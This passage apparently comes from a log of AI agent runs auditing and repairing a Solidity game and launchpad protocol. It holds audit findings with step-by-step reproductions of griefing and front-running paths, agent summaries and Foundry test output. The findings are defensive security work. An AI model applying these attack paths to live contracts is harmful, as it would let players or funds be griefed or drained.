conversions(pvp).started == false. Nobody calls anything until T + 24h, then pvp.poke() (same with graduate() or PvPPad.upkeep()). Expected per the brief: a coin/IMD pool (one chunk converts the whole 0.0018 ETH). Actual: liq.imdPool(token) == false, conversions(pvp).convertedEth == 0, imdReceived == 0, ConversionFallback(pvp, 0, true), native coin/ETH pool. Control: at T + 24h - 1 s the same poke() converts and seeds coin/IMD. Run: forge test --match-path test/scratch/ReviewClock.t.sol -vv (fails: 'coin graduated into a native pool although the IMD venue is healthy', logs converted 0 / received 0).","severity":"medium","snippet":"        c.lastProgress = finalizedAt;","title":"Stall clock is anchored at finalizedAt, so a game nobody touches for 24 h after finalization graduates into a native coin/ETH pool with zero conversion attempts on a healthy IMD venue"},{"citation":"resolved","description":"Funded ETH (carry release and the king's fundGames share) is paid only with at least FUNDED_MIN_LIVING = 5 non-erased living seats at the end (PadGame.sol:656-663 and 682-683). bailOut (line 294-325) erases a seat at any moment during play and pays cost + (value - cost) / 2 when value >= cost, i.e. an early buyer gives up nothing but a pot share it would not receive anyway when ranked outside the paid half (paid = (living + 1) / 2). In a game with exactly five living seats, the lowest-ranked seat bails out at hardEnd - 1 s: living becomes 4, 'returned = funded' sends the whole funded amount (up to 3x the roll pot / 15% of net curve ETH, plus king funding already in fundedPot) back to the carry pot, and the three paid ranks lose it. Cost to the griefer: zero when value >= cost, at most 10% of value otherwise. No protocol funds are lost (the ETH returns to carry), but the funded release becomes trivially vetoable by any single low-ranked participant, which the existing test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip exercises only from the protocol's side. Confirmed audit_economics 7e098dc2. Possible mitigation within the design: count a seat erased after a grace point (e.g. after the first roll of the last ten minutes) as living-but-unpaid for the FUNDED_MIN_LIVING test, or tax the bail-out by the forfeited funded share.","line":682,"path":"src/PadGame.sol","reproduction":"Game with 5 seated wallets P1..P5, each rolled at least once; king funded via fundGames (fundedPot = F > 0) or carry available; P5 has the lowest |height|. At hardEnd - 1 s, P5 calls bailOut(0) (allowed: drawComplete && !ended() && !finalized). Warp past endTime, resolve pending rolls, finalize(). Expected by the players: living = 5, takeCarry pulls the allowance and F is paid to ranks 1-3. Actual: livingAtEnd = 4, takeCarry is skipped (PadGame.sol:661), returned = funded = F, FundedReturned(F) emitted, ranks 1-3 receive only the roll pot and bail taxes; P5 received curveSpent[P5] + half of any curve profit, paying nothing for the veto.","severity":"low","snippet":"        if (living < FUNDED_MIN_LIVING) {","title":"A seat ranked outside the paid half can bail out at zero cost in the last second to drop living below five and cancel the funded release for every other player"},{"citation":"resolved","description":"quoteSell is the exact inverse of quote on the same virtual reserves (newTok = VTOK - tokensSold + coins, newEth = ceil(K / newTok)), so when the only roller sells all its coins back, value == curveSpent exactly (K = VETH * VTOK gives newEth == VETH), payout == cost, and ethRaised and tokensSold return to 0 although the game has rolls, a pot and possibly king funding. _graduate then takes the ethRaised == 0 branch (line 778-782): failed = true, every coin burned, no pool. For the genesis, PvPPad.genesisFailed() becomes true and restartGenesis()/launch() (PvPPad.sol:99-106, 137-138) relaunch PVP, resetting the pad's king opening and burn target; every other entrant's 0.001 ETH entry stays in the burn bucket and the restarted genesis costs them a second entry. The cost to the griefer is one entry plus nothing on the curve. The v3 safeguard in docs/AUDIT.md #4 and the NatSpec at PvPPad.sol:95 ('ended without a single roll') are no longer true. Pot ETH still reaches carry through the living == 0 branch, so this is cheap griefing of the genesis and a documentation defect, not a theft. Confirmed audit_permissions cc813ee5.","line":778,"path":"src/PadGame.sol","reproduction":"openPad; six wallets enter PVP (10 min signup); only P1 rolls once (0.002 ETH: 0.0018 to the curve, curveSpent = 0.0018); wait 61 s, resolve the roll; P1 calls bailOut(0). Actual: quoteSell(all coins) == 0.0018 ETH == curveSpent, payout == 0.0018 ETH, ethRaised == 0 and tokensSold == 0. After endTime, finalize() then graduate() set failed = true and burn the whole PVP supply (Failed event); pad.genesisFailed() == true; P6 calls pad.restartGenesis() successfully and genesisId becomes 2 while the five other entry fees stay in PadLiquidity.burnBucket. Expected per AUDIT #4: a genesis with at least one roll cannot be marked failed.","severity":"low","snippet":"        if (ethRaised == 0) {","title":"bailOut can bring a played genesis to ethRaised == 0, so it is marked failed, all PVP burned and anyone may restartGenesis; the AUDIT #4 / NatSpec 'ended without a single roll' guarantee no longer hol"},{"citation":"resolved","description":"PvPPad(owner_, ...) receives \"$owner\" (launch.json:15), which resolves to the wallet that paid for the launch because the brief names no owner. KingOfThePad(pad, liquidity, dev_) receives the static 0x5b95a971b4583a5f011e9da082acdd679b870d06 (launch.json:34), described in notes as 'explicitly specified' although this brief does not state it (it is inherited from launch 1764). README.md:27 and docs/AUDIT.md Privileges table state that owner and dev are the same address. The manifest is otherwise valid (kind/contracts/notes only, 2,758-character notes, one entry per constructor word in declaration order, lowercase addresses, unique short names, backward $contract references, the PoolId matches keccak256 of the reconstructed key) and both roles are limited (owner: openPad before day 30; dev: 25% of crown extras, pushed or claimable in takeCrown, KingOfThePad.sol:101-104). If $owner resolves to a different wallet, 25% of every crown extra is paid to a wallet that is not the launch's owner and the documented privilege map is wrong. Confirmed audit_permissions 327f661f. The requester should either name the owner in the brief so both arguments are written as that static address, or the manifest should pass $owner as dev, or README/AUDIT should say the two may differ.","line":34,"path":"launch.json","reproduction":"Resolve the manifest with a paying wallet W != 0x5b95a971b4583a5f011e9da082acdd679b870d06. Expected per README.md:27 and the AUDIT privileges table: one wallet holds the early openPad power and receives the dev share. Actual: PvPPad.owner() == W while KingOfThePad.dev() == 0x5b95...0d06 receives every devShare in takeCrown.","severity":"low","snippet":"        \"0x5b95a971b4583a5f011e9da082acdd679b870d06\"","title":"launch.json hard-codes KingOfThePad's dev recipient while PvPPad's owner is $owner; README and AUDIT state both are the same wallet, which is false if the paying wallet differs"},{"citation":"resolved","description":"_settleToken (line 596-601) and collectPool (line 423) call IPadToken(imd).transfer through an interface declared as returning bool. The brief instructs to treat IMD as a plain ERC20 and forbids RPC checks, so this cannot be confirmed either way here. If the live IMD followed the USDT-style no-return convention, ABI decoding would revert on every IMD settlement: PadLiquidity.graduate would revert for every launch with imdReceived != 0 while canGraduate stays true (escrowed ETH, received IMD and the locked coins stuck, status 4 forever), the two-hop burn would revert whenever used > bought, and IMD king fees would flag every IMD pool broken. Recorded as a deployer pre-opening check (AUDIT external finding 8 list), not as a confirmed defect: verify IMD.transfer returns true on Robinhood Chain, or settle IMD with a low-level call that tolerates an empty return.","line":599,"path":"src/PadLiquidity.sol","reproduction":"Replace TestIMD in test/V4Pad.t.sol with a token whose transfer(address,uint256) has identical balance logic but no return value. Run test_graduationPriceEquivalentAndUnlocksInSameTransaction. Expected per brief: graduate succeeds. Actual: PadLiquidity.graduate reverts inside unlockCallback when _settleToken decodes the empty return; canGraduate(pvp) remains true and the launch's escrow and coins are unreachable by any entry point.","severity":"info","snippet":"        if (!(IPadToken(token).transfer(address(poolManager), amount))) revert PadErrors.PadToken();","title":"IMD settlement and fee payment depend on IMD.transfer returning a bool; a no-return IMD would make every IMD graduation revert permanently (unverifiable offline)"}],"hash":"e474e28de612f94c9872284254efcbc964791d3224d1c78c2d34ef7451e99e5f","nodeId":"3912a551-e552-404c-98a6-814d2cc6875d","outcome":"completed","summary":"The findings file is written and validated: all 8 snippets match their lines exactly, 4 proofs are embedded, and the coverage record answers all 48 entry points plus 2 invariant rows.\n\n**Outcome:** `.imd-findings.json` holds 8 findings (4 medium, 3 low, 1 info) and a 50-row coverage record. Every kept specialist finding was reproduced against the code; the three reports of the same stall-clock defect were merged into one, and the dominant-LP note was merged into the held-front-run finding as the same root cause.\n\n**Medium findings, each with a self-contained Foundry proof under `test/scratch/` that fails on the current code:**\n- **Held front-run across conversion chunks pays.** The 1% limit is re-based on a spot the attacker just moved. Buying IMD once, driving every chunk, then selling nets the attacker more ETH than it started with, paid out of the game's IMD and so out of every coin holder's LP. Verified on the real PoolManager with the production key.\n- **Nested-unlock griefing of convertChunk.** The attempt stamp is written before the venue call and there is no manager-locked check, so a caller inside its own PoolManager unlock burns each 30-second window with no swap. Repeated for 24 hours this forces the fallback graduation.\n- **Dust progress never triggers the fallback.** Any non-zero fill refreshes the progress clock. On a venue reduced to dust liquidity, ten days of chunks converted 0.01% of the escrow and the launch still could not graduate.\n- **Stall clock anchored at finalization.** A game untouched for 24 hours graduates into a native coin/ETH pool with zero conversion attempts on a healthy venue. For the genesis there is no other upkeep trigger, and the result fixes the burn route to ETH permanently.\n\n**Low and info:** zero-cost bail-out veto of the funded release by a low-ranked seat, a played genesis made \"failed\" through a sole roller's exact-inverse bail-out, the hard-coded dev recipient in `launch.json` versus `$owner` for the pad, and the unverifiable assumption that IMD's transfer returns a bool.\n\n**Dropped or not promoted:** every static-analysis line was checked and none reproduced as a defect. The specialist proof for the nested-unlock finding only passed with one specific fix, so I replaced it with a fix-agnostic version.\n\n**Note on the environment:** solc 0.8.26 was not installed, which is why the initial build hung. I installed it outside the repository. No tracked file was changed.","treeHash":null,"usage":{"cachedInputTokens":1785212,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":71038,"runtime":"claude","turns":37,"wallClockMs":2048538}},{"artifacts":[],"attempt":1,"bundleHash":"3f206c63bab480955e69aa25495423aaf5536cf14858dc5f356ad38302d265d5","device":"2e343a06f770172d","findings":[],"hash":"eb405e385886d6bd518607808eddedb1ed28ee409a1944104ee22db8660e8e86","nodeId":"a6197ea9-91af-4090-abdb-03d86b5debe8","outcome":"completed","summary":"Repaired the manifest using a validated canonical pool ID, preserving native ETH and no-hook behavior. Updated tests and documentation.\n\nLocal checks pass: `forge build`, all 219 tests with the supplied seed, formatting, and manifest validation.\n\nDeployment plus later opening: **12,995,407 gas**. No deployment or RPC calls made.","treeHash":"a952f01a7126b7936eca998b72b61f5921ff0868","usage":{"cachedInputTokens":11113600,"inputTokens":312901,"model":"gpt-6-astra","outputTokens":108609,"runtime":"codex","turns":17,"wallClockMs":5300765}}],"verification":[{"checks":[{"durationMs":178548,"exitCode":0,"name":"build","output":"Compiling 96 files with Solc 0.8.26\nSolc 0.8.26 finished in 178.41s\nCompiler run successful!\n","passed":true},{"durationMs":6559,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/V3FailureEdges.t.sol:V3PoolFailureEdgesTest\n[PASS] test_onlyCrownMayRequestStrictSettlementAndIndexErrorsDoNotChangeHealth() (gas: 176152)\n[PASS] test_retryInsideRealManagerUnlockCannotDiagnoseHealthyPoolAsBroken() (gas: 796490)\n[PASS] test_successBetweenFailuresRequiresThreeNewDistinctBlocksToBreakPool() (gas: 3627863)\n[PASS] test_tokenTransferFailureRollsBackBothFeeCurrenciesAndCanBeRecovered() (gas: 1389134)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 31.02ms (3.07ms CPU time)\n\nRan 5 tests for test/AuditV3.t.sol:AuditV3GameTest\n[PASS] test_lapsedSeedIsIndependentOfCallerAndCaptureDelayAndBountyPaidOnce() (gas: 3002641)\n[PASS] test_nonGenesisSplitAndExpiredTipGoesToPotWithPenalty() (gas: 10559186)\n[PASS] test_resolveBatchClampsToSixteenAndLowGasStopsSafely() (gas: 20081493)\n[PASS] test_tenBlocksPerSecondSixtySecondRollerNeverExpiresWithResolver() (gas: 6247185)\n[PASS] test_upkeepSeedBountyGoesToCallerAndNotPad() (gas: 1954106)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 35.25ms (12.79ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1047790)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 257885)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 7552812)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1098206)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 929077)\n[PASS] test_distributeWithoutKingLeavesFeesInPosition() (gas: 868897)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 9376471)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 586331)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 9693012)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 1036728)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1004048)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3953896)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 35152)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 168312)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 69.65ms (24.19ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 42777699)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 12189237\n  Later openPad including hook and genesis gas: 774386\n  Combined manifest and later opening gas: 12963623\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 77.73ms (77.55ms CPU time)\n\nRan 2 tests for test/V4Pad.t.sol:V4FallbackTest\n[PASS] test_nativeGenesisThenIMDGraduationLeavesNoStrandedQuoteDust() (gas: 20385697)\n[PASS] test_zeroIMDAfter24HoursGraduatesNativeAndPreservesV3Burn() (gas: 11174203)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 86.43ms (84.26ms CPU time)\n\nRan 7 tests for test/AuditV3.t.sol:AuditV3KingTest\n[PASS] test_failedPoolRequiresThreeDistinctL2BlocksThenAnyoneCanRecoverIt() (gas: 2706876)\n[PASS] test_failedSettlementRollsBackEarlierHealthyPoolPayments() (gas: 7009368)\n[PASS] test_firstCrownAlsoRejectsUnlockedManager() (gas: 407079)\n[PASS] test_gasStarvedBidRevertsWithoutChangingCrownOrPoolHealth() (gas: 1191611)\n[PASS] test_outgoingKingGetsLargeTokenFeesInKindAndNextKingGetsNoStash() (gas: 2473172)\n[PASS] test_sixteenPoolsBothCurrenciesAndGasEatingKingFitSettlementBudget() (gas: 10142833)\nLogs:\n  16 real pools both currencies, rejecting king, bid gas used: 4797834\n\n[PASS] test_unlockCallbackCannotTakeCrownOrDistribute() (gas: 1936490)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 161.78ms (114.23ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 2094616)\n[PASS] test_claimableWinner() (gas: 2922826)\n[PASS] test_conservationOfEth() (gas: 5969442)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 43172)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2431822)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2488411)\n[PASS] test_deathAndAllDeadEnd() (gas: 1963143)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1611408)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2559599)\n[PASS] test_failedPushBecomesClaimable() (gas: 1610053)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5510162)\n[PASS] test_finalizeRanksAndPays() (gas: 4860040)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1831181)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 120469668)\n[PASS] test_finalizerFeeCapped() (gas: 12815260)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1874647)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 374110)\n[PASS] test_fundPotOnlyPad() (gas: 44007)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 21424504)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3682735)\n[PASS] test_graduateOnlyFromGame() (gas: 73134)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 8315935)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1572377)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 4224379)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9776884)\n[PASS] test_resolveBatchIncludesTenRolls() (gas: 7504204)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2430935)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1979237)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1907201)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1811569)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1489322)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1420938)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 3221132)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1576396)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 3109340)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 207.65ms (116.38ms CPU time)\n\nRan 5 tests for test/V3FailureEdges.t.sol:V3GameFailureEdgesTest\n[PASS] testFuzz_everyResolutionWindowOffsetPreservesTheTip(uint256) (runs: 1000, μ: 1742939, ~: 1751628)\nLogs:\n  Bound result 348\n\n[PASS] test_drawBountyCallbackCannotCaptureAgainOrAdvanceExtraSeats() (gas: 2069423)\n[PASS] test_finalizeBatchFailureRollsBackTipsAndPartialResolutionUntilPermissionlessProgress() (gas: 43252180)\n[PASS] test_optionalDistributeAndBurnMayBothExhaustCapsWithoutRevertingEntryOrRoll() (gas: 3686726)\nLogs:\n  entry with both liquidity upkeep stipends exhausted: 1354021\n  roll with both liquidity upkeep stipends exhausted: 1453752\n\n[PASS] test_resolverDebtSurvivesFinalizationGraduationAndRejectedClaim() (gas: 3118816)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 514.33ms (511.38ms CPU time)\n\nRan 1 test for test/V3CarryProperties.t.sol:V3CarryPropertiesTest\n[PASS] testFuzz_onlyUnusedReleaseAllowanceLeavesCarryAtFinalization(uint256,uint256,uint256) (runs: 128, μ: 11144509, ~: 11418544)\nLogs:\n  Bound result 5\n  Bound result 420\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 580.75ms (551.57ms CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 85639052, ~: 82235356)\nLogs:\n  Bound result 245\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2733787)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 12221012)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 71095333)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4855382)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 52872861)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.08s (1.11s CPU time)\n\nRan 7 tests for test/CrownSettlement.t.sol:CrownSettlementTest\n[PASS] test_bidderCannotSteerCursorToDivertReignFees() (gas: 6342863)\n[PASS] test_brokenPoolSkippedByTwoCrownsPaysTheEarliestUnsettledReign() (gas: 2380144)\n[PASS] test_extraBidGasSettlesMorePoolsInOneBid() (gas: 19834040)\nLogs:\n  takeCrown gas, sixty real pools fully settled: 7812490\n\n[PASS] test_firstCrownOpensNoReignAndPaysPreCrownFeesToTheFirstKing() (gas: 713271)\n[PASS] test_nonKingCannotSettleOrCloseAReign() (gas: 467713)\n[PASS] test_poolsBeyondTheBidGasStayOwedToTheOutgoingKing() (gas: 23943849)\nLogs:\n  pools settled by a minimum-gas bid, sixty real pools: 40\n\n[PASS] test_settlementRevertsBelowSixteenPoolsAndSucceedsAbove() (gas: 6040343)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 1.68s (3.25s CPU time)\n\nRan 32 tests for test/V4Pad.t.sol:V4PadTest\n[PASS] testFuzz_bailSequencesConserveETHAndSupply(uint8,uint8) (runs: 64, μ: 10403299, ~: 9114739)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_sandwichOnConversionChunkLoses(uint96) (runs: 64, μ: 70751516, ~: 70735956)\nLogs:\n  Bound result 59999900000000004224\n\n[PASS] test_IMDDonationsDoNotChangeConversionCreditOrGraduationPrice() (gas: 2876123)\n[PASS] test_anchorBandBoundsCumulativeWalkAndDecaysForAGenuineMove() (gas: 70132248)\n[PASS] test_bailAfterActualSellOutReopensCurveAndCostCountsOnlySpentETH() (gas: 5445229)\n[PASS] test_bailOnlyDuringPlayAndOnlySeatedWallets() (gas: 3467248)\n[PASS] test_bailOutProfitLossMinOutAndConservation() (gas: 3135572)\n[PASS] test_bothCurrencyOrdersGraduateAndPayTheCorrectKingAssets() (gas: 7729882)\n[PASS] test_constructorPoolIdRejectsChangedVenueFields() (gas: 3250880)\n[PASS] test_conversionAccessAndConstructorKeyValidation() (gas: 1091965)\n[PASS] test_conversionLimitIntervalPartialFillAndEscrow() (gas: 70348878)\n[PASS] test_deadWalletMayBailWhileAnotherLivesAndErasedActivityDoesNotDelayEnd() (gas: 3137961)\n[PASS] test_dustFillsDoNotRefreshTheStallClock() (gas: 71191176)\n[PASS] test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip() (gas: 4806038)\n[PASS] test_exactIMDKeyAndEmptyApplicationDeployment() (gas: 67801)\n[PASS] test_failedVenueAttemptDoesNotConsumeInterval() (gas: 69945997)\n[PASS] test_graduationPriceEquivalentAndUnlocksInSameTransaction() (gas: 4635273)\n[PASS] test_heldFrontRunAcrossAllChunksIsRefusedAndLoses() (gas: 86368065)\n[PASS] test_kingCollectsIMDAndCoinsInKindAcrossCrown() (gas: 4704393)\n[PASS] test_largeRawTokenRatioDoesNotOverflowPriceEncoding() (gas: 6853)\n[PASS] test_lowGasProbeCannotConsumeConversionInterval() (gas: 69933121)\n[PASS] test_nestedUnlockCallerIsRejectedAndHonestChunkConverts() (gas: 70341266)\n[PASS] test_noReturnIMDStillSettlesGraduationBurnAndFees() (gas: 3296683)\n[PASS] test_partial24HourFallbackUsesIMDAndCarriesOnlyRemainingETH() (gas: 70747641)\n[PASS] test_realProgressAboveFloorRefreshesClockButSevenDayCapBounds() (gas: 72089555)\n[PASS] test_rejectedBailPaymentRemainsClaimableAndCannotBePaidTwice() (gas: 1849234)\n[PASS] test_soleBuyerSybilWithProfitableBailAndFiveSurvivorsStillLosesAfterTwoHopDump() (gas: 83861581)\nLogs:\n  Sybil net curve ETH after bailout: 433763283181329605\n  Sybil loss excluding entries and gas: 116818580362673557\n\n[PASS] test_twoGamesKeepIndependentConversionEscrows() (gas: 160638984)\n[PASS] test_twoHopBurnBothPriceLimitsIntervalAndIntermediateAccounting() (gas: 3325062)\nLogs:\n  Two-hop burn gas: 284553\n\n[PASS] test_untouchedGameStartsItsClockOnFirstTouchAndGraduatesIntoIMD() (gas: 2724784)\n[PASS] test_upkeepConvertsAndGraduatesWithBoundedGas() (gas: 70788305)\nLogs:\n  Conversion upkeep gas: 502982\n\n[PASS] test_zeroLiquidityChunksDoNotExtendTimeout() (gas: 2965150)\nSuite result: ok. 32 passed; 0 failed; 0 skipped; finished in 2.30s (3.71s CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107524)\n[PASS] test_bindingsAreOneShot() (gas: 87569)\n[PASS] test_carryPotStaysThroughNextDraw() (gas: 18306100)\n[PASS] test_closedPadRevertsEverything() (gas: 103611)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 719358)\n[PASS] test_deployGasUnderBudget() (gas: 19942)\n[PASS] test_deployHookOnlyByPad() (gas: 33191)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 19458014)\n[PASS] test_fundGamesOnlyKing() (gas: 39546)\n[PASS] test_hookRejectsForeignInitialize() (gas: 7965257)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 16535511)\n[PASS] test_launchValidatesStrings() (gas: 15836139)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 7835641)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 7869409)\n[PASS] test_openPadOnlyOnce() (gas: 7907774)\n[PASS] test_openPadRejectsBadSalt() (gas: 203584)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 7135355)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 8262387)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 37974902)\n[PASS] test_templatesCannotBeInitialized() (gas: 8006246)\n[PASS] test_upkeepForOnlyGames() (gas: 8058562)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 2.68s (443.01ms CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 10289307)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 11124939)\n[PASS] test_claimNothingReverts() (gas: 8017976)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9655)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 16595454)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 19679082)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 26604937)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 9464231)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 10426739)\n[PASS] test_failedGenesisRelaunchLeavesCarryInPad() (gas: 11985982)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 133056490)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 4091664\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 36633261)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 23220185)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 20082667)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 9328730)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 10235915)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 7924807)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9199)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 9365206)\n[PASS] test_launchViewsRejectIdZero() (gas: 33188)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 9580459)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 16929284)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 16466552)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 15571303)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78100)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 7836249)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 7878374)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 28396357)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 16878460)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 17119714)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 10833214)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 9651231)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 15851659)\n[PASS] test_singleLivingImpTakesEverything() (gas: 12081708)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 9306781)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 15901314)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 2.68s (1.27s CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 16352051, ~: 16352048)\nLogs:\n  Bound result 19990000000000006448\n  Bound result 2040306995628688352\n  Bound result 1848\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 16657607, ~: 16657626)\nLogs:\n  Bound result 19990000000000001596\n  Bound result 38011079999999998246\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 18581901, ~: 15715321)\nLogs:\n  Bound result 3\n  Bound result 876699592022354930\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 16219084, ~: 16219113)\nLogs:\n  Bound result 28932960653973271998\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 12332930, ~: 11284379)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 3454570121562513374\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37796, ~: 37819)\nLogs:\n  Bound result 16383\n  Bound result 350001\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21796, ~: 21373)\nLogs:\n  Bound result 99999999999999999998\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 38389, ~: 38570)\nLogs:\n  Bound result 404284521931462223\n  Bound result 3055766169896858080\n  Bound result 3888467660267248490\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, 